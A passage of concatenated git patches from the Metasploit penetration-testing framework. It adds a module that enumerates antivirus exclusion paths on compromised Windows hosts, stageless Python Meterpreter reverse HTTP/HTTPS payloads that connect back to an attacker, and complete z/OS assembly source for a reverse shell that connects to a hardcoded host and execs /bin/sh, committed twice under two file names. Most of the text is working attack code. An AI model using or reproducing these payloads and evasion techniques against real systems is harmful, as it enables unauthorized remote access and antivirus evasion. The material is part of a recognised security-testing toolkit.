Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Client" - prog = "SEP" + return true else - print_error "No supported AV identified" - return + return false end + rescue + return false + end + def enum_defender + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Windows Defender") + print_status "Windows Defender Identified" + return true + else + return false + end + rescue + return false + end + def enum_sep + if registry_enumkeys("HKLM\\SOFTWARE\\Symantec").include?("Symantec Endpoint Protection") + print_status "SEP Identified" + return true + else + return false + end + rescue + return false + end + def excluded_sep print_status "Excluded Locations:" - if prog == "SEP" + keyadm = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Admin" + keycli = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Client" found_keysadm = registry_enumkeys(keyadm) if found_keysadm found_keysadm.each do |vals| @@ -59,17 +77,29 @@ class Metasploit3 < Msf::Post else print_error "No Client Locations Found" end + end + def excluded_mssec + print_status "Excluded Locations:" + keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" + found = registry_enumvals(keyms) + if found + found.each do |num| + print_good "#{num}" + end + else + print_error "No Excluded Locations Found" end - - if prog == "MSSEC" - found = registry_enumvals(keyms) - if found - found.each do |num| - print_good "#{num}" - end - else - print_error "No Excluded Locations Found" - end + end + def excluded_defender + print_status "Excluded Locations:" + keyms = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\" + found = registry_enumvals(keyms) + if found + found.each do |num| + print_good "#{num}" + end + else + print_error "No Excluded Locations Found" end end @@ -79,8 +109,26 @@ class Metasploit3 < Msf::Post print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" return else - print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") - excluded_list + print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") + + if enum_sep + excluded_sep + else + nosep = true + end + if enum_mssec + excluded_mssec + else + nomssec = true + end + if enum_defender + excluded_defender + else + nodefend = true + end + if nomssec and nodefend and nosep == true + print_error "No supported AV identified" + end end end end From 59bd88ff707cd1f9c00dd92dac3c07c83ecf023f Mon Sep 17 00:00:00 2001 From: Andrew Smith <jakx.ppr@gmail.com> Date: Fri, 27 Nov 2015 16:45:52 -0500 Subject: [PATCH 1353/2172] msftidy --- modules/post/windows/gather/enum_av_excluded.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index d72957d9a2..ce35a74261 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post return false end rescue - return false + return false end def excluded_sep print_status "Excluded Locations:" @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post print_error "No Client Locations Found" end end - def excluded_mssec + def excluded_mssec print_status "Excluded Locations:" keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" found = registry_enumvals(keyms) @@ -110,7 +110,6 @@ class Metasploit3 < Msf::Post return else print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") - if enum_sep excluded_sep else From fba9715a56efc9c8b3a3aee5e1a7e29322cb8cd5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sat, 28 Nov 2015 17:41:01 -0500 Subject: [PATCH 1354/2172] Add stageless python meterpreter http & https payloads --- lib/msf/core/handler/reverse_http.rb | 17 ++----- .../core/payload/python/meterpreter_loader.rb | 21 ++++++++ lib/msf/core/payload/python/reverse_http.rb | 16 +++++-- .../singles/python/meterpreter_bind_tcp.rb | 2 +- .../python/meterpreter_reverse_http.rb | 47 ++++++++++++++++++ .../python/meterpreter_reverse_https.rb | 48 +++++++++++++++++++ .../singles/python/meterpreter_reverse_tcp.rb | 2 +- .../payloads/stagers/python/reverse_http.rb | 8 +--- .../payloads/stagers/python/reverse_https.rb | 6 --- 9 files changed, 135 insertions(+), 32 deletions(-) create mode 100644 modules/payloads/singles/python/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/python/meterpreter_reverse_https.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 1ae5e763c5..8eef811c83 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -285,23 +285,14 @@ protected blob = "" blob << obj.generate_stage( + http_url: url, + http_user_agent: datastore['MeterpreterUserAgent'], + http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'], + http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'], uuid: uuid, uri: conn_id ) - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) - } - - # Patch all the things - blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - - unless datastore['PayloadProxyHost'].blank? - proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" - blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") - end - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 6cdd35169c..1cda34d971 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader # configuration # # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :http_proxy_host The host to use as a proxy for + # HTTP(S) transports. + # @option opts [String] :http_proxy_port The port to use when a proxy host is + # set for HTTP(S) transports. + # @option opts [String] :http_url The HTTP(S) URL to patch in to + # allow use of the stage as a stageless payload. + # @option opts [String] :http_user_agent The value to use for the User-Agent + # header for HTTP(S) transports. # @option opts [String] :stageless_tcp_socket_setup Python code to execute to # setup a tcp socket to allow use of the stage as a stageless payload. # @option opts [String] :uuid A specific UUID to use for sessions created by @@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) + } + if datastore['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") end @@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + # patch in the stageless http(s) connection url + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != '' + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != '' + + if opts[:http_proxy_host].to_s != '' + proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}" + met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? socket_setup = opts[:stageless_tcp_socket_setup] diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index a8ca06f98f..5bd3c7e71b 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -9,6 +9,15 @@ module Payload::Python::ReverseHttp include Msf::Payload::UUID::Options + def initialize(info = {}) + super(info) + register_options( + [ + OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]), + OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]) + ], self.class) + end + # # Generate the first stage # @@ -39,15 +48,14 @@ module Payload::Python::ReverseHttp target_url << ':' target_url << opts[:port].to_s - target_url << '/' - target_url << generate_callback_uri + target_url << generate_callback_uri(opts) target_url end # # Return the longest URI that fits into our available space # - def generate_callback_uri + def generate_callback_uri(opts={}) uri_req_len = 30 + rand(256-30) # Generate the short default URL if we don't have enough space @@ -55,7 +63,7 @@ module Payload::Python::ReverseHttp uri_req_len = 5 end - generate_uri_uuid_mode(:init_python, uri_req_len) + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len) end def generate_reverse_http(opts={}) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..395962145f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 50226 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..44369a42a9 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..efdecac0bc --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -0,0 +1,48 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..7988da15eb 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 50146 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 17671eabbf..97874d9e5c 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/reverse_http' module Metasploit4 - CachedSize = 466 + CachedSize = 494 include Msf::Payload::Stager include Msf::Payload::Python @@ -27,12 +27,6 @@ module Metasploit4 'Handler' => Msf::Handler::ReverseHttp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index a811706265..bad7e55fea 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -27,12 +27,6 @@ module Metasploit4 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end # From 6483eca00a55c3c57e3493e68835c72920264aa1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 30 Nov 2015 11:28:36 -0500 Subject: [PATCH 1355/2172] Update payloads_spec for pymet stageless reverse http --- spec/modules/payloads_spec.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 9938443e12..e8a6622bb0 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2255,6 +2255,26 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter_bind_tcp' end + context 'python/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_http' + end + + context 'python/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_https' + end + context 'python/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 388edd3207a61d7c2641cbe05df0c02db2451ffc Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 30 Nov 2015 13:45:24 -0500 Subject: [PATCH 1356/2172] Fix the scheme for the pymet ProxyHandler --- lib/msf/core/payload/python/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index 5bd3c7e71b..f363a6cc67 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -99,7 +99,7 @@ module Payload::Python::ReverseHttp proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? "http://[#{proxy_host}]:#{proxy_port}" : "http://#{proxy_host}:#{proxy_port}" - cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" + cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n" end cmd << "o=ul.build_opener(*hs)\n" From 09d63de50225771bd7a7d43f5b74e1e78bd800d5 Mon Sep 17 00:00:00 2001 From: Bigendian Smalls <mainframe@bigendiansmalls.com> Date: Tue, 1 Dec 2015 08:26:42 -0600 Subject: [PATCH 1357/2172] Added revshell shellcode source Put shell_reverse_tcp.s shellcode source for mainframe reverse shell into external/source/shellcode/mainframe --- .../shellcode/mainframe/shell_reverse_tcp.s | 174 ++++++++++++++++++ external/source/shellcode/mainframe/temp.s | 174 ++++++++++++++++++ 2 files changed, 348 insertions(+) create mode 100644 external/source/shellcode/mainframe/shell_reverse_tcp.s create mode 100644 external/source/shellcode/mainframe/temp.s diff --git a/external/source/shellcode/mainframe/shell_reverse_tcp.s b/external/source/shellcode/mainframe/shell_reverse_tcp.s new file mode 100644 index 0000000000..1d16c332af --- /dev/null +++ b/external/source/shellcode/mainframe/shell_reverse_tcp.s @@ -0,0 +1,174 @@ + TITLE 'z/os Reverse Shell' +NEWREV CSECT +NEWREV AMODE 31 +NEWREV RMODE 31 +*********************************************************************** +* SETUP registers and save areas * +*********************************************************************** +MAIN LR 7,15 # R7 is base register + NILH 7,X'1FFF' # ensure local address + USING MAIN,0 # R8 for addressability + DS 0H # halfword boundaries + LA 1,ZEROES(7) # address byond which should be all 0s + XC 0(204,1),0(1) # clear zero area + LA 13,SAVEAREA(7) # address of save area + LHI 8,8 # R8 has static 8 + LHI 9,1 # R9 has static 1 + LHI 10,2 # R10 has static 2 + +*********************************************************************** +* BPX1SOC set up socket * +*********************************************************************** +BSOC LA 0,@@F1(7) # USS callable svcs socket + LA 3,8 # n parms + LA 5,DOM(7) # Relative addr of First parm + ST 10,DOM(7) # store a 2 for AF_INET + ST 9,TYPE(7) # store a 1 for sock_stream + ST 9,DIM(7) # store a 1 for dim_sock + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + +*********************************************************************** +* BPX1CON (connect) connect to rmt host * +*********************************************************************** +BCON L 5,CLIFD(7) # address of client file descriptor + ST 5,CLIFD2(7) # store for connection call +*** main processing ** + LA 1,SSTR(7) # packed socket string + LA 5,CLIFD2(7) # dest for our sock str + MVC 7(9,5),0(1) # mv packed skt str to parm array + LA 0,@@F2(7) # USS callable svcs connect + LA 3,6 # n parms for func call + LA 5,CLIFD2(7) # src parm list addr + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + +************************************************* +* Preparte the child pid we'll spawn * +* 0) Dupe all 3 file desc of CLIFD * +* 1) dupe parent read fd to std input * +************************************************* + LHI 11,2 # Loop Counter R11=2 +@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err) +@RET1 AHI 11,-1 # Decrement R11 + CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop + +*********************************************************************** +* BPX1EXC (exec) execute /bin/sh * +*********************************************************************** +LEXEC LA 1,EXCPRM1(7) # top of arg list +****************************************** +**** load array of addr and constants *** +****************************************** + ST 10,EXARG1L(7) # arg 1 len is 2 + LA 2,EXARG1L(7) # addr of len of arg1 + ST 2,16(0,1) # arg4 Addr of Arg Len Addrs + LA 2,EXARG1(7) # addr of arg1 + ST 2,20(0,1) # arg5 Addr of Arg Addrs + ST 9,EXARGC(7) # store 1 in ARG Count +************************************************************** +*** call the exec function the normal way ******************** +************************************************************** + LA 0,@@EX1(7) # USS callable svcs EXEC + LA 3,13 # n parms + LA 5,EXCPRM1(7) # src parm list addr + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + +*********************************************************************** +*** BPX1FCT (fnctl) Edit our file descriptor ************************** +*********************************************************************** +LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL + ST 8,@ACT(7) # 8 is our dupe2 action + L 5,CLIFD(7) # client file descriptor + ST 5,@FFD(7) # store as fnctl argument + ST 11,@ARG(7) # fd to clone + LA 3,6 # n parms + LA 5,@FFD(7) # src parm list addr + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + BRC 15,@RET1 # Return to caller + +*********************************************************************** +* LOAD and run R0=func name, R3=n parms * +* R5 = src parm list * +*********************************************************************** +CLORUN ST 14,8(,13) # store ret address + XR 1,1 # zero R1 + SVC 8 # get func call addr for R0 + ST 0,12(13) # Store returned addr in our SA + L 15,12(13) # Load func addr into R15 + LHI 6,20 # offset from SA of first parm + LA 1,0(6,13) # start of dest parm list +@LOOP2 ST 5,0(6,13) # store parms address in parm + AHI 3,-1 # decrement # parm + CIJ 3,11,8,@FIX # haky fix for EXEC func +@RETX AHI 6,4 # increment dest parm addr + AHI 5,4 # increment src parm addr + CIJ 3,0,7,@LOOP2 # loop until R3 = 0 + LA 5,0(6,13) + AHI 5,-4 + OI 0(5),X'80' # last parm first bit high +@FIN1 BALR 14,15 # call function + L 14,8(,13) # set up return address + BCR 15,14 # return to caller +@FIX AHI 5,4 # need extra byte skipped for exec + BRC 15,@RETX + +*********************************************************************** +* Arg Arrays, Constants and Save Area * +*********************************************************************** + DS 0F +************************* +**** Func Names **** +************************* +@@F1 DC CL8'BPX1SOC ' +@@F2 DC CL8'BPX1CON ' +@@EX1 DC CL8'BPX1EXC ' # callable svcs name +@@FC1 DC CL8'BPX1FCT ' +* # BPX1EXC Constants +EXARG1 DC CL2'sh' # arg 1 to exec +* # BPX1CON Constants +SSTR DC X'1002023039ac103d0a' +* # BPX1EXC Arguments +EXCPRM1 DS 0F # actual parm list of exec call +EXCMDL DC F'7' # len of cmd to exec +EXCMD DC CL7'/bin/sh' # command to exec +********************************************************************* +******* Below this line is filled in runtime, but at compile ******** +******* is all zeroes, so it can be dropped from the shell- ********* +******* code as it will be dynamically added back and the *********** +******* offsets are already calulated in the code ******************* +********************************************************************* +ZEROES DS 0F # 51 4 byte slots +EXARGC DC F'0' # num of arguments +EXARGS DC 10XL4'00000000' # reminaing exec args +EXARG1L DC F'0' # arg1 length +* # BPX1FCT Arguments +@FFD DC F'0' # file descriptor +@ACT DC F'0' # fnctl action +@ARG DC F'0' # argument to fnctl +@RETFD DC F'0' # fd return +FR1 DC F'0' # rtn code +FR2 DC F'0' # rsn code +* # BPX1SOC Arguments +DOM DC F'0' # AF_INET = 2 +TYPE DC F'0' # sock stream = 1 +PROTO DC F'0' # protocol ip = 0 +DIM DC F'0' # dim_sock = 1 +CLIFD DC F'0' # client file descriptor +SR1 DC F'0' # rtn val +SR2 DC F'0' # rtn code +SR3 DC F'0' # rsn code +* # BPX1CON Arguments +CLIFD2 DC F'0' # CLIFD +SOCKLEN DC F'0' # length of Sock Struct +SRVSKT DC XL2'0000' # srv socket struct + DC XL2'0000' # port + DC XL4'00000000' # RHOST 0.0.0.0 +CR1 DC F'0' # rtn val +CR2 DC F'0' # rtn code +CR3 DC F'0' # rsn code +SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt +EOFMARK DC X'deadbeef' # eopgm marker for shellcode + END MAIN diff --git a/external/source/shellcode/mainframe/temp.s b/external/source/shellcode/mainframe/temp.s new file mode 100644 index 0000000000..1d16c332af --- /dev/null +++ b/external/source/shellcode/mainframe/temp.s @@ -0,0 +1,174 @@ + TITLE 'z/os Reverse Shell' +NEWREV CSECT +NEWREV AMODE 31 +NEWREV RMODE 31 +*********************************************************************** +* SETUP registers and save areas * +*********************************************************************** +MAIN LR 7,15 # R7 is base register + NILH 7,X'1FFF' # ensure local address + USING MAIN,0 # R8 for addressability + DS 0H # halfword boundaries + LA 1,ZEROES(7) # address byond which should be all 0s + XC 0(204,1),0(1) # clear zero area + LA 13,SAVEAREA(7) # address of save area + LHI 8,8 # R8 has static 8 + LHI 9,1 # R9 has static 1 + LHI 10,2 # R10 has static 2 + +*********************************************************************** +* BPX1SOC set up socket * +*********************************************************************** +BSOC LA 0,@@F1(7) # USS callable svcs socket + LA 3,8 # n parms + LA 5,DOM(7) # Relative addr of First parm + ST 10,DOM(7) # store a 2 for AF_INET + ST 9,TYPE(7) # store a 1 for sock_stream + ST 9,DIM(7) # store a 1 for dim_sock + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + +*********************************************************************** +* BPX1CON (connect) connect to rmt host * +*********************************************************************** +BCON L 5,CLIFD(7) # address of client file descriptor + ST 5,CLIFD2(7) # store for connection call +*** main processing ** + LA 1,SSTR(7) # packed socket string + LA 5,CLIFD2(7) # dest for our sock str + MVC 7(9,5),0(1) # mv packed skt str to parm array + LA 0,@@F2(7) # USS callable svcs connect + LA 3,6 # n parms for func call + LA 5,CLIFD2(7) # src parm list addr + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + +************************************************* +* Preparte the child pid we'll spawn * +* 0) Dupe all 3 file desc of CLIFD * +* 1) dupe parent read fd to std input * +************************************************* + LHI 11,2 # Loop Counter R11=2 +@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err) +@RET1 AHI 11,-1 # Decrement R11 + CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop + +*********************************************************************** +* BPX1EXC (exec) execute /bin/sh * +*********************************************************************** +LEXEC LA 1,EXCPRM1(7) # top of arg list +****************************************** +**** load array of addr and constants *** +****************************************** + ST 10,EXARG1L(7) # arg 1 len is 2 + LA 2,EXARG1L(7) # addr of len of arg1 + ST 2,16(0,1) # arg4 Addr of Arg Len Addrs + LA 2,EXARG1(7) # addr of arg1 + ST 2,20(0,1) # arg5 Addr of Arg Addrs + ST 9,EXARGC(7) # store 1 in ARG Count +************************************************************** +*** call the exec function the normal way ******************** +************************************************************** + LA 0,@@EX1(7) # USS callable svcs EXEC + LA 3,13 # n parms + LA 5,EXCPRM1(7) # src parm list addr + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + +*********************************************************************** +*** BPX1FCT (fnctl) Edit our file descriptor ************************** +*********************************************************************** +LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL + ST 8,@ACT(7) # 8 is our dupe2 action + L 5,CLIFD(7) # client file descriptor + ST 5,@FFD(7) # store as fnctl argument + ST 11,@ARG(7) # fd to clone + LA 3,6 # n parms + LA 5,@FFD(7) # src parm list addr + LA 15,CLORUN(7) # address of generic load & run + BASR 14,15 # Branch to load & run + BRC 15,@RET1 # Return to caller + +*********************************************************************** +* LOAD and run R0=func name, R3=n parms * +* R5 = src parm list * +*********************************************************************** +CLORUN ST 14,8(,13) # store ret address + XR 1,1 # zero R1 + SVC 8 # get func call addr for R0 + ST 0,12(13) # Store returned addr in our SA + L 15,12(13) # Load func addr into R15 + LHI 6,20 # offset from SA of first parm + LA 1,0(6,13) # start of dest parm list +@LOOP2 ST 5,0(6,13) # store parms address in parm + AHI 3,-1 # decrement # parm + CIJ 3,11,8,@FIX # haky fix for EXEC func +@RETX AHI 6,4 # increment dest parm addr + AHI 5,4 # increment src parm addr + CIJ 3,0,7,@LOOP2 # loop until R3 = 0 + LA 5,0(6,13) + AHI 5,-4 + OI 0(5),X'80' # last parm first bit high +@FIN1 BALR 14,15 # call function + L 14,8(,13) # set up return address + BCR 15,14 # return to caller +@FIX AHI 5,4 # need extra byte skipped for exec + BRC 15,@RETX + +*********************************************************************** +* Arg Arrays, Constants and Save Area * +*********************************************************************** + DS 0F +************************* +**** Func Names **** +************************* +@@F1 DC CL8'BPX1SOC ' +@@F2 DC CL8'BPX1CON ' +@@EX1 DC CL8'BPX1EXC ' # callable svcs name +@@FC1 DC CL8'BPX1FCT ' +* # BPX1EXC Constants +EXARG1 DC CL2'sh' # arg 1 to exec +* # BPX1CON Constants +SSTR DC X'1002023039ac103d0a' +* # BPX1EXC Arguments +EXCPRM1 DS 0F # actual parm list of exec call +EXCMDL DC F'7' # len of cmd to exec +EXCMD DC CL7'/bin/sh' # command to exec +********************************************************************* +******* Below this line is filled in runtime, but at compile ******** +******* is all zeroes, so it can be dropped from the shell- ********* +******* code as it will be dynamically added back and the *********** +******* offsets are already calulated in the code ******************* +********************************************************************* +ZEROES DS 0F # 51 4 byte slots +EXARGC DC F'0' # num of arguments +EXARGS DC 10XL4'00000000' # reminaing exec args +EXARG1L DC F'0' # arg1 length +* # BPX1FCT Arguments +@FFD DC F'0' # file descriptor +@ACT DC F'0' # fnctl action +@ARG DC F'0' # argument to fnctl +@RETFD DC F'0' # fd return +FR1 DC F'0' # rtn code +FR2 DC F'0' # rsn code +* # BPX1SOC Arguments +DOM DC F'0' # AF_INET = 2 +TYPE DC F'0' # sock stream = 1 +PROTO DC F'0' # protocol ip = 0 +DIM DC F'0' # dim_sock = 1 +CLIFD DC F'0' # client file descriptor +SR1 DC F'0' # rtn val +SR2 DC F'0' # rtn code +SR3 DC F'0' # rsn code +* # BPX1CON Arguments +CLIFD2 DC F'0' # CLIFD +SOCKLEN DC F'0' # length of Sock Struct +SRVSKT DC XL2'0000' # srv socket struct + DC XL2'0000' # port + DC XL4'00000000' # RHOST 0.0.0.0 +CR1 DC F'0' # rtn val +CR2 DC F'0' # rtn code +CR3 DC F'0' # rsn code +SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt +EOFMARK DC X'deadbeef' # eopgm marker for shellcode + END MAIN From cb60b41d5d972d7e4200390e300ebaa3ec942ffb Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 1 Dec 2015 10:43:58 -0500 Subject: [PATCH 1358/2172] added in fixes and missing typos, randomized the password for the user --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 19 